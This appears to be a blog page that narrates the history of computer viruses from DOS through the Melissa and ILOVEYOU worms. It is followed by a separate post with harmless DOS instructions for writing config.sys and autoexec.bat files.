Computer viruses evolve in much the same way as in other areas of IT. Two of the most important factors in understanding how viruses have reached their current level are the development of programming languages and the appearance of increasingly powerful hardware.

In 1981, almost at the same time as Elk Kloner (the first virus for 8-bit processors) made its appearance, a new operating system was growing in popularity. Its full name was Microsoft Disk Operating System, although computer buffs throughout the world would soon refer to it simply as DOS.

DOS viruses

The development of MS DOS systems occurred in parallel to the appearance of new, more powerful hardware. Personal computers were gradually establishing themselves as tools that people could use in their everyday lives, and the result was that the number of PCs users grew substantially. Perhaps inevitably, more users also started creating viruses. Gradually, we witnessed the appearance of the first viruses and Trojans for DOS, written in assembler language and demonstrating a degree of skill on the part of their authors.

Far less programmers know assembler language than are familiar with high-level languages that are far easier to learn. Malicious code written in Fortran, Basic, Cobol, C or Pascal soon began to appear. The last two languages, which are well established and very powerful, are the most widely used, particularly in their TurboC and Turbo Pascal versions. This ultimately led to the appearance of “virus families”: that is, viruses that are followed by a vast number of related viruses which are slightly modified forms of the original code.

Other users took the less ‘artistic’ approach of creating destructive viruses that did not require any great knowledge of programming. As a result, batch processing file viruses or BAT viruses began to appear.

Win16 viruses

The development of 16-bit processors led to a new era in computing. The first consequence was the birth of Windows, which, at the time, was just an application to make it easier to handle DOS using a graphic interface.

The structure of Windows 3.xx files is rather difficult to understand, and the assembler language code is very complicated, as a result of which few programmers initially attempted to develop viruses for this platform. But this problem was soon solved thanks to the development of programming tools for high-level languages, above all Visual Basic. This application is so effective that many virus creators adopted it as their ‘daily working tool’. This meant that writing a virus had become a very straightforward task, and viruses soon appeared in their hundreds. This development was accompanied by the appearance of the first Trojans able to steal passwords. As a result, more than 500 variants of the AOL Trojan family -designed to steal personal information from infected computers- were identified.

part 7

This seventh edition on the history of computer viruses will look at how the development of Windows and Visual Basic has influenced the evolution of viruses, as with the development of these, worldwide epidemics also evolved such as the first one caused by Melissa in 1999.

While Windows changed from being an application designed to make DOS easier to manage to a 32-bit platform and operating system in its own right, virus creators went back to using assembler as the main language for programming viruses.

Versions 5 and 6 of Visual Basic (VB) were developed, making it the preferred tool, along with Borland Delphi (the Pascal development for the Windows environment), for Trojan and worm writers. Then, Visual C, a powerful environment developed in C for Windows, was adopted for creating viruses, Trojans and worms. This last type of malware gained unusual strength, taking over almost all other types of viruses. Even though the characteristics of worms have changed over time, they all have the same objective: to spread to as many computers as possible, as quickly as possible.

With time, Visual Basic became extremely popular and Microsoft implemented part of the functionality of this language as an interpreter capable of running script files with a similar syntax.

At the same time as the Win32 platform was implemented, the first script viruses also appeared: malware inside a simple text file. These demonstrated that not only executable files (.EXE and .COM files) could carry viruses. As already seen with BAT viruses, there are also other means of propagation, proving the saying "anything that can be executed directly or through a interpreter can contain malware." To be specific, the first viruses that infected the macros included in Microsoft Office emerged. As a result, Word, Excel, Access and PowerPoint become ways of spreading ‘lethal weapons’, which destroyed information when the user simply opened a document.

Melissa and self-executing worms

The powerful script interpreters in Microsoft Office allowed virus authors to arm their creations with the characteristics of worms. A clear example is Melissa, a Word macro virus with the characteristics of a worm that infects Word 97 and 2000 documents. This worm automatically sends itself out as an attachment to an e-mail message to the first 50 contacts in the Outlook address book on the affected computer. This technique, which has unfortunately become very popular nowadays, was first used in this virus which, in 1999, caused one of the largest epidemics in computer history in just a few days. In fact, companies like Microsoft, Intel or Lucent Technologies had to block their connections to the Internet due to the actions of Melissa.

The technique started by Melissa was developed in 1999 by viruses like VBS/Freelink, which unlike its predecessor sent itself out to all the contacts in the address book on the infected PC. This started a new wave of worms capable of sending themselves out to all the contacts in the Outlook address book on the infected computer. Of these, the worm that most stands out from the rest is VBS/LoveLetter, more commonly known as ‘I love You’, which emerged in May 2000 and caused an epidemic that caused damage estimated at 10,000 million euros. In order to get the user’s attention and help it to spread, this worm sent itself out in an e-mail message with the subject ‘ILOVEYOU’ and an attached file called ‘LOVE-LETTER-FOR-YOU.TXT.VBS’. When the user opened this attachment, the computer was infected.

As well as Melissa, in 1999 another type of virus emerged that also marked a milestone in virus history. In November of that year, VBS/BubbleBoy appeared, a new type of Internet worm written in VB Script. VBS/BubbleBoy was automatically run without the user needing to click on an attached file, as it exploited a vulnerability in Internet Explorer 5 to automatically run when the message was opened or viewed. This worm was followed in 2000 by JS/Kak.Worm, which spread by hiding behind Java Script in the auto-signature in Microsoft Outlook Express, allowing it to infect computers without the user needing to run an attached file. These were the first samples of a series of worms, which were joined later on by worms capable of attacking computers when the user is browsing the Internet.

 Hello Dos friends
This is a simple but most forgotton command to create
files like config.sys and autoexec.bat files, well heres it...
Even if u dont have a dos boot disk u can work ur way
to some extent.
********************************************
At c:\ prompt
type
copy con config.sys
devicehigh=c:\dos\himem.sys
device=c:\dos\setver.exe
devicehigh=c:\dos\emm386.exe ram
dos=high,umb
last drive=z
then press CTRL + z
press enter
Config.sys file will be created.
********************************************
Similarly u can create autoexec.bat
@echo off
prompt=$P$G
path=c:\dos;c:\
lh mouse
lh doskey
Press CTRL + Z
**********************************************

Link Unit By Google

Search

Subscribe via email

Enter your email address:

Delivered by FeedBurner

Ads By Google

Smart Subscribers

A Note About Comments.

Your response is greatly valued so go ahead and say it! I read all comments and also try to answer each one. Your views are always welcome and every comment is a kind of update so don't hesitate.

Google Ads

Amazing Arts

Amazing Arts
Amazing Arts

Free Text Books

Textbooks.com- Free Shipping- 125 x 125- Red Circle Background

Find Love

Find Love Online! Matchmaker.com